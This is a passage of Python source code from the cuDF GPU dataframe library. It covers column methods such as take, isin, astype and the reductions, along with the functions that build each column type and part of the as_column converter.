ScalarLike, closest: bool = False) -> int: """ Returns offset of last value that matches """ # FIXME: Inefficient, may be need a libcudf api index = cudf.core.index.RangeIndex(0, stop=len(self)) indices = index.take(self == value) if not len(indices): raise ValueError("value not found") return indices[-1] def append(self, other: ColumnBase) -> ColumnBase: return concat_columns([self, as_column(other)]) def quantile( self, q: Union[float, Sequence[float]], interpolation: builtins.str, exact: bool, ) -> ColumnBase: raise TypeError(f"cannot perform quantile with type {self.dtype}") def median(self, skipna: bool = None) -> ScalarLike: raise TypeError(f"cannot perform median with type {self.dtype}") def take( self: T, indices: ColumnBase, nullify: bool = False, check_bounds=True ) -> T: """Return Column by taking values from the corresponding *indices*. Skip bounds checking if check_bounds is False. Set rows to null for all out of bound indices if nullify is `True`. """ # Handle zero size if indices.size == 0: return cast(T, column_empty_like(self, newsize=0)) # TODO: For performance, the check and conversion of gather map should # be done by the caller. This check will be removed in future release. if not is_integer_dtype(indices.dtype): indices = indices.astype("int32") if not libcudf.copying._gather_map_is_valid( indices, len(self), check_bounds, nullify ): raise IndexError("Gather map index is out of bounds.") return libcudf.copying.gather([self], indices, nullify=nullify)[ 0 ]._with_type_metadata(self.dtype) def isin(self, values: Sequence) -> ColumnBase: """Check whether values are contained in the Column. Parameters ---------- values : set or list-like The sequence of values to test. Passing in a single string will raise a TypeError. Instead, turn a single string into a list of one element. Returns ------- result: Column Column of booleans indicating if each element is in values. """ try: lhs, rhs = self._process_values_for_isin(values) res = lhs._isin_earlystop(rhs) if res is not None: return res except ValueError: # pandas functionally returns all False when cleansing via # typecasting fails return full(len(self), False, dtype="bool") return lhs._obtain_isin_result(rhs) def _process_values_for_isin( self, values: Sequence ) -> Tuple[ColumnBase, ColumnBase]: """ Helper function for `isin` which pre-process `values` based on `self`. """ lhs = self rhs = as_column(values, nan_as_null=False) if lhs.null_count == len(lhs): lhs = lhs.astype(rhs.dtype) elif rhs.null_count == len(rhs): rhs = rhs.astype(lhs.dtype) return lhs, rhs def _isin_earlystop(self, rhs: ColumnBase) -> Union[ColumnBase, None]: """ Helper function for `isin` which determines possibility of early-stopping or not. """ if self.dtype != rhs.dtype: if self.null_count and rhs.null_count: return self.isnull() else: return cudf.core.column.full(len(self), False, dtype="bool") elif self.null_count == 0 and (rhs.null_count == len(rhs)): return cudf.core.column.full(len(self), False, dtype="bool") else: return None def _obtain_isin_result(self, rhs: ColumnBase) -> ColumnBase: """ Helper function for `isin` which merges `self` & `rhs` to determine what values of `rhs` exist in `self`. """ ldf = cudf.DataFrame({"x": self, "orig_order": arange(len(self))}) rdf = cudf.DataFrame( {"x": rhs, "bool": full(len(rhs), True, dtype="bool")} ) res = ldf.merge(rdf, on="x", how="left").sort_values(by="orig_order") res = res.drop_duplicates(subset="orig_order", ignore_index=True) return res._data["bool"].fillna(False) def as_mask(self) -> Buffer: """Convert booleans to bitmask Returns ------- Buffer """ if self.has_nulls(): raise ValueError("Column must have no nulls.") return bools_to_mask(self) @property def is_unique(self) -> bool: return self.distinct_count() == len(self) @property def is_monotonic_increasing(self) -> bool: return not self.has_nulls() and self.as_frame()._is_sorted( ascending=None, null_position=None ) @property def is_monotonic_decreasing(self) -> bool: return not self.has_nulls() and self.as_frame()._is_sorted( ascending=[False], null_position=None ) def get_slice_bound( self, label: ScalarLike, side: builtins.str, kind: builtins.str ) -> int: """ Calculate slice bound that corresponds to given label. Returns leftmost (one-past-the-rightmost if ``side=='right'``) position of given label. Parameters ---------- label : Scalar side : {'left', 'right'} kind : {'ix', 'loc', 'getitem'} """ if kind not in {"ix", "loc", "getitem", None}: raise ValueError( f"Invalid value for ``kind`` parameter," f" must be either one of the following: " f"{'ix', 'loc', 'getitem', None}, but found: {kind}" ) if side not in {"left", "right"}: raise ValueError( "Invalid value for side kwarg," " must be either 'left' or 'right': %s" % (side,) ) # TODO: Handle errors/missing keys correctly # Not currently using `kind` argument. if side == "left": return self.find_first_value(label, closest=True) elif side == "right": return self.find_last_value(label, closest=True) + 1 else: raise ValueError(f"Invalid value for side: {side}") def sort_by_values( self: ColumnBase, ascending: bool = True, na_position: builtins.str = "last", ) -> Tuple[ColumnBase, "cudf.core.column.NumericalColumn"]: col_inds = self.as_frame()._get_sorted_inds( ascending=ascending, na_position=na_position ) col_keys = self.take(col_inds) return col_keys, col_inds def distinct_count( self, method: builtins.str = "sort", dropna: bool = True ) -> int: if method != "sort": msg = "non sort based distinct_count() not implemented yet" raise NotImplementedError(msg) try: return self._distinct_count[dropna] except KeyError: self._distinct_count[dropna] = cpp_distinct_count( self, ignore_nulls=dropna ) return self._distinct_count[dropna] def can_cast_safely(self, to_dtype: Dtype) -> bool: raise NotImplementedError() def astype(self, dtype: Dtype, **kwargs) -> ColumnBase: if is_categorical_dtype(dtype): return self.as_categorical_column(dtype, **kwargs) dtype = ( pandas_dtypes_alias_to_cudf_alias.get(dtype, dtype) if isinstance(dtype, str) else pandas_dtypes_to_np_dtypes.get(dtype, dtype) ) if _is_non_decimal_numeric_dtype(dtype): return self.as_numerical_column(dtype, **kwargs) elif is_categorical_dtype(dtype): return self.as_categorical_column(dtype, **kwargs) elif cudf.dtype(dtype).type in { np.str_, np.object_, str, }: return self.as_string_column(dtype, **kwargs) elif is_list_dtype(dtype): if not self.dtype == dtype: raise NotImplementedError( "Casting list columns not currently supported" ) return self elif is_struct_dtype(dtype): if not self.dtype == dtype: raise NotImplementedError( "Casting struct columns not currently supported" ) return self elif is_interval_dtype(self.dtype): return self.as_interval_column(dtype, **kwargs) elif is_decimal_dtype(dtype): return self.as_decimal_column(dtype, **kwargs) elif np.issubdtype(cast(Any, dtype), np.datetime64): return self.as_datetime_column(dtype, **kwargs) elif np.issubdtype(cast(Any, dtype), np.timedelta64): return self.as_timedelta_column(dtype, **kwargs) else: return self.as_numerical_column(dtype, **kwargs) def as_categorical_column(self, dtype, **kwargs) -> ColumnBase: if "ordered" in kwargs: ordered = kwargs["ordered"] else: ordered = False sr = cudf.Series(self) # Re-label self w.r.t. the provided categories if isinstance(dtype, (cudf.CategoricalDtype, pd.CategoricalDtype)): labels = sr._label_encoding(cats=dtype.categories) if "ordered" in kwargs: warnings.warn( "Ignoring the `ordered` parameter passed in `**kwargs`, " "will be using `ordered` parameter of CategoricalDtype" ) return build_categorical_column( categories=dtype.categories, codes=labels._column, mask=self.mask, ordered=dtype.ordered, ) cats = sr.unique().astype(sr.dtype) label_dtype = min_unsigned_type(len(cats)) labels = sr._label_encoding( cats=cats, dtype=label_dtype, na_sentinel=1 ) # columns include null index in factorization; remove: if self.has_nulls(): cats = cats._column.dropna(drop_nan=False) min_type = min_unsigned_type(len(cats), 8) labels = labels - 1 if cudf.dtype(min_type).itemsize < labels.dtype.itemsize: labels = labels.astype(min_type) return build_categorical_column( categories=cats, codes=labels._column, mask=self.mask, ordered=ordered, ) def as_numerical_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.NumericalColumn": raise NotImplementedError def as_datetime_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.DatetimeColumn": raise NotImplementedError def as_interval_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.IntervalColumn": raise NotImplementedError def as_timedelta_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.TimeDeltaColumn": raise NotImplementedError def as_string_column( self, dtype: Dtype, format=None, **kwargs ) -> "cudf.core.column.StringColumn": raise NotImplementedError def as_decimal_column( self, dtype: Dtype, **kwargs ) -> Union["cudf.core.column.decimal.DecimalBaseColumn"]: raise NotImplementedError def as_decimal128_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.Decimal128Column": raise NotImplementedError def as_decimal64_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.Decimal64Column": raise NotImplementedError def as_decimal32_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.Decimal32Column": raise NotImplementedError def apply_boolean_mask(self, mask) -> ColumnBase: mask = as_column(mask) if not is_bool_dtype(mask.dtype): raise ValueError("boolean_mask is not boolean type.") return apply_boolean_mask([self], mask)[0]._with_type_metadata( self.dtype ) def argsort( self, ascending: bool = True, na_position: builtins.str = "last" ) -> ColumnBase: return self.as_frame()._get_sorted_inds( ascending=ascending, na_position=na_position ) def __arrow_array__(self, type=None): raise TypeError( "Implicit conversion to a host PyArrow Array via __arrow_array__ " "is not allowed, To explicitly construct a PyArrow Array, " "consider using .to_arrow()" ) def __array__(self, dtype=None): raise TypeError( "Implicit conversion to a host NumPy array via __array__ is not " "allowed. To explicitly construct a host array, consider using " ".to_array()" ) @property def __cuda_array_interface__(self): raise NotImplementedError( f"dtype {self.dtype} is not yet supported via " "`__cuda_array_interface__`" ) def __add__(self, other): return self.binary_operator("add", other) def __sub__(self, other): return self.binary_operator("sub", other) def __mul__(self, other): return self.binary_operator("mul", other) def __eq__(self, other): return self.binary_operator("eq", other) def __ne__(self, other): return self.binary_operator("ne", other) def __or__(self, other): return self.binary_operator("or", other) def __and__(self, other): return self.binary_operator("and", other) def __floordiv__(self, other): return self.binary_operator("floordiv", other) def __truediv__(self, other): return self.binary_operator("truediv", other) def __mod__(self, other): return self.binary_operator("mod", other) def __pow__(self, other): return self.binary_operator("pow", other) def __lt__(self, other): return self.binary_operator("lt", other) def __gt__(self, other): return self.binary_operator("gt", other) def __le__(self, other): return self.binary_operator("le", other) def __ge__(self, other): return self.binary_operator("ge", other) def searchsorted( self, value, side: builtins.str = "left", ascending: bool = True, na_position: builtins.str = "last", ): values = as_column(value).as_frame() return self.as_frame().searchsorted( values, side, ascending=ascending, na_position=na_position ) def unique(self) -> ColumnBase: """ Get unique values in the data """ # TODO: We could avoid performing `drop_duplicates` for # columns with values that already are unique. # Few things to note before we can do this optimization is # the following issue resolved: # https://github.com/rapidsai/cudf/issues/5286 return drop_duplicates([self], keep="first")[0] def serialize(self) -> Tuple[dict, list]: header: Dict[Any, Any] = {} frames = [] header["type-serialized"] = pickle.dumps(type(self)) header["dtype"] = self.dtype.str if self.data is not None: data_header, data_frames = self.data.serialize() header["data"] = data_header frames.extend(data_frames) if self.mask is not None: mask_header, mask_frames = self.mask.serialize() header["mask"] = mask_header frames.extend(mask_frames) header["frame_count"] = len(frames) return header, frames @classmethod def deserialize(cls, header: dict, frames: list) -> ColumnBase: dtype = header["dtype"] data = Buffer.deserialize(header["data"], [frames[0]]) mask = None if "mask" in header: mask = Buffer.deserialize(header["mask"], [frames[1]]) return build_column( data=data, dtype=dtype, mask=mask, size=header.get("size", None) ) def unary_operator(self, unaryop: builtins.str): raise TypeError( f"Operation {unaryop} not supported for dtype {self.dtype}." ) def binary_operator( self, op: builtins.str, other: BinaryOperand, reflect: bool = False ) -> ColumnBase: raise TypeError( f"Operation {op} not supported between dtypes {self.dtype} and " f"{other.dtype}." ) def normalize_binop_value( self, other: ScalarLike ) -> Union[ColumnBase, ScalarLike]: raise NotImplementedError def _minmax(self, skipna: bool = None): result_col = self._process_for_reduction(skipna=skipna) if isinstance(result_col, ColumnBase): return libcudf.reduce.minmax(result_col) return result_col def min(self, skipna: bool = None, dtype: Dtype = None): result_col = self._process_for_reduction(skipna=skipna) if isinstance(result_col, ColumnBase): return libcudf.reduce.reduce("min", result_col, dtype=dtype) return result_col def max(self, skipna: bool = None, dtype: Dtype = None): result_col = self._process_for_reduction(skipna=skipna) if isinstance(result_col, ColumnBase): return libcudf.reduce.reduce("max", result_col, dtype=dtype) return result_col def sum( self, skipna: bool = None, dtype: Dtype = None, min_count: int = 0 ): raise TypeError(f"cannot perform sum with type {self.dtype}") def product( self, skipna: bool = None, dtype: Dtype = None, min_count: int = 0 ): raise TypeError(f"cannot perform product with type {self.dtype}") def mean(self, skipna: bool = None, dtype: Dtype = None): raise TypeError(f"cannot perform mean with type {self.dtype}") def std(self, skipna: bool = None, ddof=1, dtype: Dtype = np.float64): raise TypeError(f"cannot perform std with type {self.dtype}") def var(self, skipna: bool = None, ddof=1, dtype: Dtype = np.float64): raise TypeError(f"cannot perform var with type {self.dtype}") def kurtosis(self, skipna: bool = None): raise TypeError(f"cannot perform kurtosis with type {self.dtype}") def skew(self, skipna: bool = None): raise TypeError(f"cannot perform skew with type {self.dtype}") def cov(self, other: ColumnBase): raise TypeError( f"cannot perform covarience with types {self.dtype}, " f"{other.dtype}" ) def corr(self, other: ColumnBase): raise TypeError( f"cannot perform corr with types {self.dtype}, {other.dtype}" ) def nans_to_nulls(self: T) -> T: return self def _process_for_reduction( self, skipna: bool = None, min_count: int = 0 ) -> Union[ColumnBase, ScalarLike]: skipna = True if skipna is None else skipna if skipna: result_col = self.nans_to_nulls() if result_col.has_nulls(): result_col = result_col.dropna() else: if self.has_nulls(): return cudf.utils.dtypes._get_nan_for_dtype(self.dtype) result_col = self if min_count > 0: valid_count = len(result_col) - result_col.null_count if valid_count < min_count: return cudf.utils.dtypes._get_nan_for_dtype(self.dtype) elif min_count < 0: warnings.warn( f"min_count value cannot be negative({min_count}), will " f"default to 0." ) return result_col def _reduction_result_dtype(self, reduction_op: str) -> Dtype: """ Determine the correct dtype to pass to libcudf based on the input dtype, data dtype, and specific reduction op """ return self.dtype def _with_type_metadata(self: ColumnBase, dtype: Dtype) -> ColumnBase: """ Copies type metadata from self onto other, returning a new column. When ``self`` is a nested column, recursively apply this function on the children of ``self``. """ return self def column_empty_like( column: ColumnBase, dtype: Dtype = None, masked: bool = False, newsize: int = None, ) -> ColumnBase: """Allocate a new column like the given *column*""" if dtype is None: dtype = column.dtype row_count = len(column) if newsize is None else newsize if ( hasattr(column, "dtype") and is_categorical_dtype(column.dtype) and dtype == column.dtype ): column = cast("cudf.core.column.CategoricalColumn", column) codes = column_empty_like(column.codes, masked=masked, newsize=newsize) return build_column( data=None, dtype=dtype, mask=codes.base_mask, children=(as_column(codes.base_data, dtype=codes.dtype),), size=codes.size, ) return column_empty(row_count, dtype, masked) def column_empty_like_same_mask( column: ColumnBase, dtype: Dtype ) -> ColumnBase: """Create a new empty Column with the same length and the same mask. Parameters ---------- dtype : np.dtype like The dtype of the data buffer. """ result = column_empty_like(column, dtype) if column.nullable: result = result.set_mask(column.mask) return result def column_empty( row_count: int, dtype: Dtype = "object", masked: bool = False ) -> ColumnBase: """Allocate a new column like the given row_count and dtype.""" dtype = cudf.dtype(dtype) children = () # type: Tuple[ColumnBase, ...] if is_struct_dtype(dtype): data = None children = tuple( column_empty(row_count, field_dtype) for field_dtype in dtype.fields.values() ) elif is_categorical_dtype(dtype): data = None children = ( build_column( data=Buffer.empty(row_count * cudf.dtype("int32").itemsize), dtype="int32", ), ) elif dtype.kind in "OU" and not is_decimal_dtype(dtype): data = None children = ( full(row_count + 1, 0, dtype="int32"), build_column( data=Buffer.empty(row_count * cudf.dtype("int8").itemsize), dtype="int8", ), ) else: data = Buffer.empty(row_count * dtype.itemsize) if masked: mask = create_null_mask(row_count, state=MaskState.ALL_NULL) else: mask = None return build_column( data, dtype, mask=mask, size=row_count, children=children ) def build_column( data: Union[Buffer, None], dtype: Dtype, *, size: int = None, mask: Buffer = None, offset: int = 0, null_count: int = None, children: Tuple[ColumnBase, ...] = (), ) -> ColumnBase: """ Build a Column of the appropriate type from the given parameters Parameters ---------- data : Buffer The data buffer (can be None if constructing certain Column types like StringColumn, ListColumn, or CategoricalColumn) dtype The dtype associated with the Column to construct mask : Buffer, optional The mask buffer size : int, optional offset : int, optional children : tuple, optional """ dtype = cudf.dtype(dtype) if _is_non_decimal_numeric_dtype(dtype): assert data is not None return cudf.core.column.NumericalColumn( data=data, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, ) if is_categorical_dtype(dtype): if not len(children) == 1: raise ValueError( "Must specify exactly one child column for CategoricalColumn" ) if not isinstance(children[0], ColumnBase): raise TypeError("children must be a tuple of Columns") return cudf.core.column.CategoricalColumn( dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=children, ) elif dtype.type is np.datetime64: if data is None: raise TypeError("Must specify data buffer") return cudf.core.column.DatetimeColumn( data=data, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, ) elif dtype.type is np.timedelta64: if data is None: raise TypeError("Must specify data buffer") return cudf.core.column.TimeDeltaColumn( data=data, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, ) elif dtype.type in (np.object_, np.str_): return cudf.core.column.StringColumn( mask=mask, size=size, offset=offset, children=children, null_count=null_count, ) elif is_list_dtype(dtype): return cudf.core.column.ListColumn( size=size, dtype=dtype, mask=mask, offset=offset, null_count=null_count, children=children, ) elif is_interval_dtype(dtype): return cudf.core.column.IntervalColumn( dtype=dtype, mask=mask, size=size, offset=offset, children=children, null_count=null_count, ) elif is_struct_dtype(dtype): if size is None: raise TypeError("Must specify size") return cudf.core.column.StructColumn( data=data, dtype=dtype, size=size, offset=offset, mask=mask, null_count=null_count, children=children, ) elif is_decimal64_dtype(dtype): if size is None: raise TypeError("Must specify size") return cudf.core.column.Decimal64Column( data=data, size=size, offset=offset, dtype=dtype, mask=mask, null_count=null_count, children=children, ) elif is_decimal32_dtype(dtype): if size is None: raise TypeError("Must specify size") return cudf.core.column.Decimal32Column( data=data, size=size, offset=offset, dtype=dtype, mask=mask, null_count=null_count, children=children, ) elif is_decimal128_dtype(dtype): if size is None: raise TypeError("Must specify size") return cudf.core.column.Decimal128Column( data=data, size=size, offset=offset, dtype=dtype, mask=mask, null_count=null_count, children=children, ) elif is_interval_dtype(dtype): return cudf.core.column.IntervalColumn( dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=children, ) else: raise TypeError(f"Unrecognized dtype: {dtype}") def build_categorical_column( categories: ColumnBase, codes: ColumnBase, mask: Buffer = None, size: int = None, offset: int = 0, null_count: int = None, ordered: bool = None, ) -> "cudf.core.column.CategoricalColumn": """ Build a CategoricalColumn Parameters ---------- categories : Column Column of categories codes : Column Column of codes, the size of the resulting Column will be the size of `codes` mask : Buffer Null mask size : int, optional offset : int, optional ordered : bool Indicates whether the categories are ordered """ codes_dtype = min_unsigned_type(len(categories)) codes = as_column(codes) if codes.dtype != codes_dtype: codes = codes.astype(codes_dtype) dtype = CategoricalDtype(categories=categories, ordered=ordered) result = build_column( data=None, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=(codes,), ) return cast("cudf.core.column.CategoricalColumn", result) def build_interval_column( left_col, right_col, mask=None, size=None, offset=0, null_count=None, closed="right", ): """ Build an IntervalColumn Parameters ---------- left_col : Column Column of values representing the left of the interval right_col : Column Column of representing the right of the interval mask : Buffer Null mask size : int, optional offset : int, optional closed : {"left", "right", "both", "neither"}, default "right" Whether the intervals are closed on the left-side, right-side, both or neither. """ left = as_column(left_col) right = as_column(right_col) if closed not in {"left", "right", "both", "neither"}: closed = "right" if type(left_col) is not list: dtype = IntervalDtype(left_col.dtype, closed) else: dtype = IntervalDtype("int64", closed) size = len(left) return build_column( data=None, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=(left, right), ) def build_list_column( indices: ColumnBase, elements: ColumnBase, mask: Buffer = None, size: int = None, offset: int = 0, null_count: int = None, ) -> "cudf.core.column.ListColumn": """ Build a ListColumn Parameters ---------- indices : ColumnBase Column of list indices elements : ColumnBase Column of list elements mask: Buffer Null mask size: int, optional offset: int, optional """ dtype = ListDtype(element_type=elements.dtype) result = build_column( data=None, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=(indices, elements), ) return cast("cudf.core.column.ListColumn", result) def build_struct_column( names: Sequence[str], children: Tuple[ColumnBase, ...], dtype: Optional[Dtype] = None, mask: Buffer = None, size: int = None, offset: int = 0, null_count: int = None, ) -> "cudf.core.column.StructColumn": """ Build a StructColumn Parameters ---------- names : list-like Field names to map to children dtypes children : tuple mask: Buffer Null mask size: int, optional offset: int, optional """ if dtype is None: dtype = StructDtype( fields={name: col.dtype for name, col in zip(names, children)} ) result = build_column( data=None, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=children, ) return cast("cudf.core.column.StructColumn", result) def _make_copy_replacing_NaT_with_null(column): """Return a copy with NaT values replaced with nulls.""" if np.issubdtype(column.dtype, np.timedelta64): na_value = np.timedelta64("NaT", column.time_unit) elif np.issubdtype(column.dtype, np.datetime64): na_value = np.datetime64("NaT", column.time_unit) else: raise ValueError("This type does not support replacing NaT with null.") null = column_empty_like(column, masked=True, newsize=1) out_col = cudf._lib.replace.replace( column, build_column( Buffer(np.array([na_value], dtype=column.dtype).view("|u1")), dtype=column.dtype, ), null, ) return out_col def as_column( arbitrary: Any, nan_as_null: bool = None, dtype: Dtype = None, length: int = None, ): """Create a Column from an arbitrary object Parameters ---------- arbitrary : object Object to construct the Column from. See *Notes*. nan_as_null : bool, optional, default None If None (default), treats NaN values in arbitrary as null if there is no mask passed along with it. If True, combines the mask and NaNs to form a new validity mask. If False, leaves NaN values as is. dtype : optional Optionally typecast the constructed Column to the given dtype. length : int, optional If `arbitrary` is a scalar, broadcast into a Column of the given length. Returns ------- A Column of the appropriate type and size. Notes ----- Currently support inputs are: * ``Column`` * ``Series`` * ``Index`` * Scalars (can be broadcasted to a specified `length`) * Objects exposing ``__cuda_array_interface__`` (e.g., numba device arrays) * Objects exposing ``__array_interface__``(e.g., numpy arrays) * pyarrow array * pandas.Categorical objects """ if isinstance(arbitrary, ColumnBase): if dtype is not None: return arbitrary.astype(dtype) else: return arbitrary elif isinstance(arbitrary, cudf.Series): data = arbitrary._column if dtype is not None: data = data.astype(dtype) elif isinstance(arbitrary, cudf.BaseIndex): data = arbitrary._values if dtype is not None: data = data.astype(dtype) elif hasattr(arbitrary, "__cuda_array_interface__"): desc = arbitrary.__cuda_array_interface__ current_dtype = np.dtype(desc["typestr"]) arb_dtype = ( np.dtype("float32") if current_dtype == "float16" else cudf.dtype(current_dtype) ) if desc.get("mask", None) is not None: # Extract and remove the mask from arbitrary before # passing to cupy.asarray mask = _mask_from_cuda_array_interface_desc(arbitrary) arbitrary = SimpleNamespace(__cuda_array_interface__=desc.copy()) arbitrary.__cuda_array_interface__["mask"] = None desc = arbitrary.__cuda_array_interface__ else: mask = None arbitrary = cupy.asarray(arbitrary) if arb_dtype != current_dtype: arbitrary = arbitrary.astype(arb_dtype) current_dtype = arb_dtype if ( desc["strides"] is not None and not (arbitrary.itemsize,) == arbitrary.strides ): arbitrary = cupy.ascontiguousarray(arbitrary) data = _data_from_cuda_array_interface_desc(arbitrary) col = build_column(data, dtype=current_dtype, mask=mask) if dtype is not None: col = col.astype(dtype) if isinstance(col, cudf.core.column.CategoricalColumn): return col elif np.issubdtype(col.dtype, np.floating): if nan_as_null or (mask is None and nan_as_null is None): mask = libcudf.transform.nans_to_nulls(col.fillna(np.nan)) col = col.set_mask(mask) elif np.issubdtype(col.dtype, np.datetime64): if nan_as_null or (mask is None and nan_as_null is None): col = _make_copy_replacing_NaT_with_null(col) return col elif isinstance(arbitrary, (pa.Array, pa.ChunkedArray)): if isinstance(arbitrary, pa.lib.HalfFloatArray): raise NotImplementedError( "Type casting from `float16` to `float32` is not " "yet supported in pyarrow, see: " "https://issues.apache.org/jira/browse/ARROW-3802" ) col = ColumnBase.from_arrow(arbitrary) if isinstance(arbitrary, pa.NullArray): new_dtype = cudf.dtype(arbitrary.type.to_pandas_dtype()) if dtype is not None: # Cast the column to the `dtype` if specified. col = col.astype(dtype) elif len(arbitrary) == 0: # If the column is empty, it has to be # a `float64` dtype. col = col.astype("float64") else: # If the null column is not empty, it has to # be of `object` dtype. col = col.astype(new_dtype) return col elif isinstance(arbitrary, (pd.Series, pd.Categorical)): if isinstance(arbitrary, pd.Series) and isinstance( arbitrary.array, pd.core.arrays.masked.BaseMaskedArray ): return as_column(arbitrary.array) if is_categorical_dtype(arbitrary): data = as_column(pa.array(arbitrary, from_pandas=True)) elif is_interval_dtype(arbitrary.dtype): data = as_column(pa.array(arbitrary, from_pandas=True)) elif arbitrary.dtype == np.bool_: data = as_column(cupy.asarray(arbitrary), dtype=arbitrary.dtype) elif arbitrary.dtype.kind in ("f"): arb_dtype = np.dtype(arbitrary.dtype) data = as_column( cupy.asarray(arbitrary, dtype=arb_dtype), nan_as_null=nan_as_null, dtype=dtype, ) elif arbitrary.dtype.kind in ("u", "i"): data = as_column( cupy.asarray(arbitrary), nan_as_null=nan_as_null, dtype=dtype ) else: pyarrow_array = pa.array(arbitrary, from_pandas=nan_as_null) if isinstance(pyarrow_array.type, pa.Decimal128Type): pyarrow_type = cudf.Decimal128Dtype.from_arrow( pyarrow_array.type ) else: pyarrow_type = arbitrary.dtype data = as_column(pyarrow_array, dtype=pyarrow_type) if dtype is not None: data = data.astype(dtype) elif isinstance(arbitrary, (pd.Timestamp, pd.Timedelta)): # This will always treat NaTs as nulls since it's not technically a # discrete value like NaN data = as_column(pa.array(pd.Series([arbitrary]), from_pandas=True)) if dtype is not None: data = data.astype(dtype) elif np.isscalar(arbitrary) and not isinstance(arbitrary, memoryview): length = length or 1 if ( (nan_as_null is True) and isinstance(arbitrary, (np.floating, float)) and np.isnan(arbitrary) ): arbitrary = None if dtype is None: dtype = cudf.dtype("float64") data = as_column( utils.scalar_broadcast_to(arbitrary, length, dtype=dtype) ) if not nan_as_null and not is_decimal_dtype(data.dtype): if np.issubdtype(data.dtype, np.floating): data = data.fillna(np.nan) elif np.issubdtype(data.dtype, np.datetime64): data = data.fillna(np.datetime64("NaT")) elif hasattr(arbitrary, "__array_interface__"): # CUDF assumes values are always contiguous desc = arbitrary.__array_interface__ shape = desc["shape"] arb_dtype = np.dtype(desc["typestr"]) # CUDF assumes values are always contiguous if len(shape) > 1: raise ValueError("Data must be 1-dimensional") arbitrary = np.asarray(arbitrary) # Handle case that `arbitrary` elements are cupy arrays if ( shape and shape[0] and hasattr(arbitrary[0], "__cuda_array_interface__") ): return as_column( cupy.asarray(arbitrary, dtype=arbitrary[0].dtype), nan_as_null=nan_as_null, dtype=dtype, length=length, ) if not arbitrary.flags["C_CONTIGUOUS"]: arbitrary = np.ascontiguousarray(arbitrary) if dtype is not None: arbitrary = arbitrary.astype(np.dtype(dtype)) if arb_dtype.kind == "M": time_unit = get_time_unit(arbitrary) cast_dtype = time_unit in ("D", "W", "M", "Y") if cast_dtype: arbitrary = arbitrary.astype(cudf.dtype("datetime64[s]")) buffer = Buffer(arbitrary.view("|u1")) mask = None if nan_as_null is None or nan_as_null is True: data = build_column(buffer, dtype=arbitrary.dtype) data = _make_copy_replacing_NaT_with_null(data) mask = data.mask data = cudf.core.column.datetime.DatetimeColumn( data=buffer, mask=mask, dtype=arbitrary.dtype ) elif arb_dtype.kind == "m": time_unit = get_time_unit(arbitrary) cast_dtype = time_unit in ("D", "W", "M", "Y") if cast_dtype: arbitrary = arbitrary.astype(cudf.dtype("timedelta64[s]")) buffer = Buffer(arbitrary.view("|u1")) mask = None if nan_as_null is None or nan_as_null is True: data = build_column(buffer, dtype=arbitrary.dtype) data = _make_copy_replacing_NaT_with_null(data) mask = data.mask data = cudf.core.column.timedelta.TimeDeltaColumn( data=buffer, size=len(arbitrary), mask=mask, dtype=arbitrary.dtype, ) elif ( arbitrary.size != 0 and arb_dtype.kind in ("O") and isinstance(arbitrary[0], pd._libs.interval.Interval) ): # changing from pd array to series,possible arrow bug interval_series = pd.Series(arbitrary) data = as_column( pa.Array.from_pandas(interval_series), dtype=arbitrary.dtype, ) if dtype is not None: data = data.astype(dtype) elif arb_dtype.kind in ("O", "U"): data = as_column( pa.Array.from_pandas(arbitrary), dtype=arbitrary.dtype ) # There is no cast operation available for pa.Array from int to # str, Hence instead of handling in pa.Array block, we # will have to type-cast here. if dtype is not None: data = data.astype(dtype) elif arb_dtype.kind in ("f"): if arb_dtype == np.dtype("float16"): arb_dtype = np.dtype("float32") arb_dtype = cudf.dtype(arb_dtype if dtype is None else dtype) data = as_column( cupy.asarray(arbitrary, dtype=arb_dtype), nan_as_null=nan_as_null, ) else: data = as_column(cupy.asarray(arbitrary), nan_as_null=nan_as_null) elif isinstance(arbitrary, pd.core.arrays.numpy_.PandasArray): if is_categorical_dtype(arbitrary.dtype): arb_dtype = arbitrary.dtype else: if arbitrary.dtype == pd.StringDtype(): arb_dtype = cudf.dtype("O") else: arb_dtype = ( cudf.dtype("float32") if arbitrary.dtype == "float16" else cudf.dtype(arbitrary.dtype) ) if arb_dtype != arbitrary.dtype.numpy_dtype: arbitrary = arbitrary.astype(arb_dtype) if ( arbitrary.size != 0 and isinstance(arbitrary[0], pd._libs.interval.Interval) and arb_dtype.kind in ("O") ): # changing from pd array to series,possible arrow bug interval_series = pd.Series(arbitrary) data = as_column( pa.Array.from_pandas(interval_series), dtype=arb_dtype ) elif arb_dtype.kind in ("O", "U"): data = as_column(pa.Array.from_pandas(arbitrary), dtype=arb_dtype) else: data = as_column( pa.array( arbitrary, from_pandas=True if nan_as_null is None else nan_as_null, ), nan_as_null=nan_as_null, ) if dtype is not None: data = data.astype(dtype) elif isinstance(arbitrary, memoryview): data = as_column( np.asarray(arbitrary), dtype=dtype, nan_as_null=nan_as_null ) elif isinstance(arbitrary, cudf.Scalar): data = ColumnBase.from_scalar(arbitrary, length if length else 1) elif isinstance(arbitrary, pd.core.arrays.masked.BaseMaskedArray): cudf_dtype = arbitrary._data.dtype data = Buffer(arbitrary._data.view("|u1")) data = build_column(data, dtype=cudf_dtype) mask = arbitrary._mask mask = bools_to_mask(as_column(mask).unary_operator("not")) data = data.set_mask(mask) else: try: data = as_column( memoryview(arbitrary), dtype=dtype, nan_as_null=nan_as_null ) except TypeError: if dtype is not None: # Arrow throws a type error if the input is of # mixed-precision and cannot fit into the provided # decimal type properly, see: # https://github.com/apache/arrow/pull/9948 # Hence we should let the exception propagate to # the user. if isinstance(dtype, cudf.core.dtypes.Decimal128Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, 